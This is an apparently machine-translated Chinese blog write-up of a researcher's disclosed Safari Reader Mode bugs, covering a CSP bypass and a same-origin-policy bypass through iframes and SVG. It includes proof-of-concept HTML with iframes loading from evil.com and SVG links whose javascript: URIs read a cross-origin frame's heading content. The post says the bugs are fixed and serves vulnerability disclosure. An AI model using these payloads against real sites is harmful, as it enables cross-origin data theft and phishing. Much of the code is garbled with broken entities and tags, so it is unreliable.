我在Safari阅读器模式下的黑客冒险

2020-09-27 03:22:39

在2020年3月,我写了一篇关于在Safari阅读器模式下执行脚本给CSP Bypass的博文,我提到了Safari阅读器模式及其对客户的承诺。另外,我已经解释了在阅读器模式下执行脚本会如何导致CSP绕过问题。在发表上一篇文章之前,我曾多次尝试绕过SOP,但遗憾的是,没有成功。之前的错误已在3月20日的更新中修复。所以,我决定在拿到补丁之后,再看看Safari阅读器,看看补丁是如何实现的。为了检查他们是如何实施修复和行为的,我决定寻找可能的旁路。挖了一下,我找到了一个旁路。

你又找到了旁路,你会怎么做?别止步于此,就像我早先做的那样。

您挑战自己进一步寻找可能的攻击,使用相同的旁路和不同的案例场景,您以前可能遗漏了这些漏洞,从而提出了一个伟大的攻击方案。

话虽如此,下一个挑战是寻找使用Safari阅读器模式的不同可能的攻击,这项研究结果是在Safari阅读器模式下使用SOP绕过和视频/音频权限绕过。如果你还没有读过我的上一篇博客,我建议你在继续之前先读一读。

所有漏洞都已在2020年8月更新中修复,可用于Safari、iOS和iPadOS。

如果你在使用网络,那么你可能会遇到这样的情况,当一个网站上有一篇很好的文章,充满了不同的广告,时髦的背景图片和声音。有时候,当你的屏幕突然出现一些奇怪的弹出窗口,或者视频开始在后台播放,或者网站开始向用户请求不同的权限(如通知和位置)时,阅读文章会非常令人沮丧。为了应对这种情况,浏览器厂商提出了在浏览器中使用阅读器模式的想法。以下是分散用户注意力的不同广告和视频的快速视频演示。

阅读器模式是在大多数现代浏览器中实现的一种功能,它允许用户在无杂乱的视图中阅读文章,即以一种容易阅读的方式呈现页面,而不会有广告、背景图像和音频/视频等任何干扰。

MacOS和iPhone上的Safari也带有阅读器模式功能,运行得相当好。但你可能永远不知道什么时候一项本应保护的功能会对你不利。

在上一篇博客中,我们得出结论,我们可以使用以下有效负载绕过JavaScript执行检查。

现在,首先,为了绕过修复,我尝试了其他可能的HTML实体组合作为上一个有效负载的一部分。

但是没有一个管用。我也做了其他几次尝试,但都没有成功,在多次不成功的尝试之后,我决定和我们的好朋友SVG一起玩。我创建了一个简单的内联SVG代码来检查它是否在Safari阅读器预览中呈现。

接下来,我开始研究SVG,并决定在SVG中添加另一个元素。还删除了一些SVG元素,但文本元素对我有效。

这一次,它在阅读器模式下渲染,如下图所示。

在这里,我们可以得出结论,SVG正在以阅读器模式工作。现在我们必须考虑使用SVG执行JavaScript的不同方式,这需要最明显的SVG XSS向量。

但是,Safari又一次玩得很聪明。它删除了脚本并渲染了其余部分。

我试图用文本元素附加事件处理程序,但Safari也删除了它。

下一个想法是再次使用SVG内部的链接。除此之外,我决定让我们的文本指向一个JavaScript URI。

而且很容易就奏效了。同样的技巧也适用于Circle元素,该元素以前没有渲染过。

因此,当我们在这里完成了一个里程碑时,下一个目标是使用阅读器模式寻找不同的攻击载体,我在报告上一个bug之前也尝试过这个模式,但没有成功。但这一次,我非常幸运地绕过了SOP以及其他Safari功能和权限。

我知道你们中的一些人可能在想,我们可以在阅读器模式下对iframe做什么,因为一旦文档呈现到阅读模式,Safari就会删除它们,但可能不是每次都是这样,我的朋友。因此,更进一步,我开始玩iframes,以检查我们是否可以以某种方式在阅读器模式下破坏任何东西。这个想法是在文档进入阅读器模式后立即检查Safari是否从嵌入的框架中导入了任何内容,如文本、图像等。

第一个设置是在与阅读模式兼容的页面中加载一个跨源IFRAME。因此,我快速设置了以下页面:

<;!DOCTYPE html>;<;html lang=";en";>;>;head>;<;meta charset=";utf-8";>;<;meta name=";viewport";content=";width=Device-Width,Initial-Scale=1.0";>;<;title>;Document<;/title>;<;/head>;<;body>;<;p>;MacOS是为每台Mac提供动力的操作系统。它能让你做其他电脑做不到的事情。这是因为它是专门为运行它的硬件而设计的-反之亦然。MacOS附带一整套设计精美的应用程序。它与iCloud携手合作,让您所有设备上的照片、文档和其他内容保持最新。它能让你的Mac在iPhone和其他苹果设备上魔术般地工作。而且它从一开始就考虑到了隐私和安全。<;/p>;<;/p>;MacOS是支持每台Mac的操作系统。它能让你做其他电脑做不到的事情。这是因为它是专门为运行它的硬件而设计的-反之亦然。MacOS附带一整套设计精美的应用程序。它与iCloud携手合作,让您所有设备上的照片、文档和其他内容保持最新。它能让你的Mac在iPhone和其他苹果设备上魔术般地工作。而且它从一开始就考虑到了隐私和安全。<;/p>;<;/p>;MacOS是支持每台Mac的操作系统。它能让你做其他电脑做不到的事情。这是因为它是专门为运行它的硬件而设计的-反之亦然。MacOS附带一整套设计精美的应用程序。它与iCloud携手合作,让您所有设备上的照片、文档和其他内容保持最新。它能让你的Mac在iPhone和其他苹果设备上魔术般地工作。而且它从一开始就考虑到了隐私和安全。<;/p>;<;/p>;MacOS是支持每台Mac的操作系统。它能让你做其他电脑做不到的事情。这是因为它是专门为运行它的硬件而设计的-反之亦然。MacOS附带一整套设计精美的应用程序。它与iCloud携手合作,让您所有设备上的照片、文档和其他内容保持最新。它能让你的Mac在iPhone和其他苹果设备上魔术般地工作。它从一开始就考虑到了隐私和安全。<;/p>;<;iframe src=";https://evil.com/var/www/html/bug/secret.html";frameborder=";1";>;<;/iframe>;<;/body>;<;/html>;

<;!--Secret.html-->;<;!DOCTYPE html>;<;html lang=";EN";>;<;head>;<;meta charset=";UTF-8";>;<;meta name=";viewport";content=";width=device-width,initial-scale=1.0";>;<;title>;Secret page!<;/title>;<;/head>;<;body>;<;p>;1.来自机密html文件的内容!来自机密html文件的内容!来自机密html文件的内容!来自机密html文件的内容!<;/p>;<;p>;2.来自机密html文件的内容!来自机密html文件的内容!来自机密html文件的内容!来自机密html文件的内容!<;/p>;<;p>;3.来自机密html文件的内容!来自机密html文件的内容!来自机密html文件的内容!来自机密html文件的内容!<;/p>;<;p>;4.来自机密html文件的内容!来自机密html文件的内容!来自机密html文件的内容!来自机密html文件的内容!<;/p>;<;p>;5.来自机密html文件的内容!来自机密html文件的内容!来自机密html文件的内容!来自机密html文件的内容!<;/p>;<;p>;6.来自机密html文件的内容!来自机密html文件的内容!来自机密html文件的内容!来自机密html文件的内容!<;/p>;<;p>;7.来自机密html文件的内容

正如您可能预期的那样,只要我们将此页面置于阅读器模式,iFrame就会消失!

嗯,我们这里需要一些黑魔法,我只是好奇如果我们增加IFRAME的高度和宽度,并在里面放一些内容,会发生什么。因此,我重新修改了页面源代码,如下所示。

<;!DOCTYPE html>;<;html lang=";en";>;>;head>;<;meta charset=";utf-8";>;<;meta name=";viewport";content=";width=Device-Width,Initial-Scale=1.0";>;<;title>;Document<;/title>;<;/head>;<;body>;<;p>;MacOS是为每台Mac提供动力的操作系统。它能让你做其他电脑做不到的事情。这是因为它是专门为运行它的硬件而设计的-反之亦然。MacOS附带一整套设计精美的应用程序。它与iCloud携手合作,让您所有设备上的照片、文档和其他内容保持最新。它能让你的Mac在iPhone和其他苹果设备上魔术般地工作。而且它从一开始就考虑到了隐私和安全。<;/p>;<;/p>;MacOS是支持每台Mac的操作系统。它能让你做其他电脑做不到的事情。这是因为它是专门为运行它的硬件而设计的-反之亦然。MacOS附带一整套设计精美的应用程序。它与iCloud携手合作,让您所有设备上的照片、文档和其他内容保持最新。它能让你的Mac在iPhone和其他苹果设备上魔术般地工作。而且它从一开始就考虑到了隐私和安全。<;/p>;<;/p>;MacOS是支持每台Mac的操作系统。它能让你做其他电脑做不到的事情。这是因为它是专门为运行它的硬件而设计的-反之亦然。MacOS附带一整套设计精美的应用程序。它与iCloud携手合作,让您所有设备上的照片、文档和其他内容保持最新。它能让你的Mac在iPhone和其他苹果设备上魔术般地工作。而且它从一开始就考虑到了隐私和安全。<;/p>;<;/p>;MacOS是支持每台Mac的操作系统。它能让你做其他电脑做不到的事情。这是因为它是专门为运行它的硬件而设计的-反之亦然。MacOS附带一整套设计精美的应用程序。它与iCloud携手合作,让您所有设备上的照片、文档和其他内容保持最新。它能让你的Mac在iPhone和其他苹果设备上魔术般地工作。而且它从头开始就考虑到了隐私和安全。<;/p>;<;iframe src=";https://evil.com/var/www/html/bug/secret.html";Frame frame=";1";Height=";600&34;width=";1200";>;<;/iframe>;<;/body>;<;/html>;

让我们正常地再次加载它,看看它在Safari中呈现时是什么样子。

同样,只要该页面以阅读器模式呈现,Safari就会删除iframe的内容。

好的,让我们再试一次,因为我们在顶部框架上保留了较少的内容,而在子框架上保留了更多的内容。

<;!DOCTYPE html>;<;html lang=";EN";>;head>;<;meta charset=";UTF-8";>;<;meta name=";viewport";content=";width=device-width,Initial-scale=1.0";>;<;title>;top document title!<;/title>;<;/head>;<;body<;p>;p>;top document title!<;/title>;<;/head>;<;body>;<;p>;p>;top document title!<;/title>;<;MacOS是为每台Mac提供动力的操作系统。它能让你做其他电脑做不到的事情。这是因为它是专门为运行它的硬件而设计的-反之亦然。MacOS附带一整套设计精美的应用程序。它与iCloud携手合作,让您所有设备上的照片、文档和其他内容保持最新。它能让你的Mac在iPhone和其他苹果设备上魔术般地工作。而且它从头开始就考虑到了隐私和安全。<;/p>;<;iframe src=";https://evil.com/var/www/html/bug/secret.html";Frame frame=";1";Height=";600&34;width=";1200";>;<;/iframe>;<;/body>;<;/html>;

同样,我在Safari中加载了修改后的页面,如下图所示。

现在,我们一切换到阅读器模式,Safari就呈现了我们的页面,如下图所示。

你有没有注意到什么奇怪的事?在阅读器模式下,Safari只获取顶部框架的标题,忽略顶部框架中的其余内容,并将子框架中的所有内容附加为顶部框架的一部分。狩猎,你可能喝醉了!

每种现代浏览器都带有SOP,它限制了跨源框架之间的交互。有关更详细的信息,我建议阅读:

因此,如果我尝试读取嵌入在顶层框架上的跨源框架的内容,浏览器将阻止我们这样做,因为它违反了同源策略。

同样,如果我试图在跨源框架的情况下从子框架中读取顶层框架的内容,浏览器也不会允许我们这样做,因为这再次违反了同源策略。

继续上一个案例研究,我们已经看到Safari采用顶部框架的标题,其余内容取自子框架。经过几次试错测试用例之后,我发现它要么从顶部窗口获取了标题,要么从顶部窗口获取了h1和h2标记的元素。因此,我再次修改了我们的代码,如下所示。

<;!DOCTYPE html>;<;html lang=";EN";>;head>;<;head<;meta charset=";UTF-8";>;<;meta name=";viewport";content=";width=device-width,Initial-scale=1.0";>;<;title>;top document title!<;/title>;<;/head>;<;body>;<;h1>;顶部框架!<;/h1>;<;p>;MacOS上的H1元素是支持每台Mac的操作系统。它能让你做其他电脑做不到的事情。这是因为它是专门为运行它的硬件而设计的-反之亦然。MacOS附带一整套设计精美的应用程序。它与iCloud携手合作,让您所有设备上的照片、文档和其他内容保持最新。它能让你的Mac在iPhone和其他苹果设备上魔术般地工作。而且它从头开始就考虑到了隐私和安全。<;/p>;<;iframe src=";https://evil.com/var/www/html/bug/secret.html";Frame frame=";1";Height=";600&34;width=";1200";>;<;/iframe>;<;/body>;<;/html>;

所以,我们已经知道了一种在阅读器模式下执行脚本的方法。在这个特定的场景中,我们可以很容易地窃取顶部框架上的H1和H2元素的内容,我们还可以读取顶部框架的位置,其中可能包括任何会话、CSRF令牌等。此外,我们还可以更改顶部框架的DOM,以传播任何错误信息和网络钓鱼攻击。

<;!DOCTYPE html>;<;html lang=";EN";>;head>;<;meta charset=";UTF-8";>;<;meta name=";viewport";content=";width=device-width,initial-scale=1.0";>;<;link rel=";样式表";href=";app.css";<;title>;欢迎使用secretmail.com<;/title>;<;/head>;<;body>;<;h1&>欢迎使用<;b>;598qocj48085onch84083Aqrmg7Yg0<;/b>;<;/h2>;!<;/h1&>;h2&>邮件-1:您已获得1,000美元的贝宝现金返还,您的优惠券代码是:Paypal;广告区!<;/u&>;<;br&>;<;iframe src=";https://evilads.com/ads/";高度=";500";width=";1200";>;<;/iframe>;<;/body>;<;/html>;

<;!DOCTYPE html>;<;html lang=";EN";>;head>;<;meta charset=";UTF-8";>;<;meta name=";viewport";content=";width=device-width,initial-scale=1.0";>;<;link rel=";样式表";href=";app.css";<;title>;欢迎使用evilads.com<;/title>;<;/head>;<;body>;<;h1>;欢迎使用evilads.com<;/h1>;<;<;hr>;<;p onclick=";this.innerHTML=window.location.href";>;Click此处查看此框架的位置!<;/p>;<;p>;我们提供最好的虚拟主机服务!,请点击我们提供的链接访问我们!<;/p&>;p&>;我们提供最好的虚拟主机服务!,请单击我们提供的链接访问我们!<;/p&>;我们提供最好的虚拟主机服务!,请通过单击!<;/p<;p&>;提供的链接访问我们。我们提供最好的虚拟主机服务!,请点击我们提供的链接访问我们!<;/p&>;p&>;我们提供最好的虚拟主机服务!,请单击我们提供的链接访问我们!<;/p&>;我们提供最好的虚拟主机服务!,请通过单击!<;/p<;p&>;提供的链接访问我们。我们提供最好的虚拟主机服务!,请点击我们提供的链接访问我们!<;/p&>;p&>;我们提供最好的虚拟主机服务!,请单击我们提供的链接访问我们!<;/p&>;我们提供最好的虚拟主机服务!,请通过单击!<;/p<;p&>;提供的链接访问我们。我们提供最好的虚拟主机服务!,请点击此处提供的链接访问我们!<;/p&>;<;/b>;<;尝试这个黑魔法!<;/b>;<;br>;<;svg xmlns=";http://www.w3.org/2000/svg";>;<;a href=";javascript:var m=Document.querySelector(';h2&39;);vara=window.open();A.alert(m.innerHTML);";>;<;Circle Cx=";50";cy=";40";r=";35";/>;<;/a>;<;/SVG>;<;/body>;<;/html>;

现在,只要点击黑色圆圈,Safari就会提醒h2标签的内容。

到目前为止,我们已经看到了子框架如何访问顶部框架的内容。在这一点上,我也很想知道我们是否可以颠倒这个过程,即顶层框架可以访问子框架内容。回到我们的测试案例。

首先,我决定在顶部框架的H1内添加SVG元素。

但是Safari在本例中没有考虑h1元素,而是从顶部框架中选择标题。

接下来,我尝试在h1标记内添加字符串和SVG,以检查Safari是否会接受SVG。因此,我重新修改了顶层框架代码,如下所示:

顶部框架上的<;h1>;元素!顶框上的元素!顶部框架上的元素!<;svg xmlns=";http://www.w3.org/2000/svg";>;<;a href=";javascript:console.log(';blaa!!';)";>;<;圆形cx=";40";cy=";40";r=";35";/>;<;/a&>;<;/svg>;<;/h1>;

这一次,Safari考虑了h1标记,但添加了一些SVG属性作为href属性的一部分。

在深入研究之后,我想我们可以在插入SVG元素之前。

.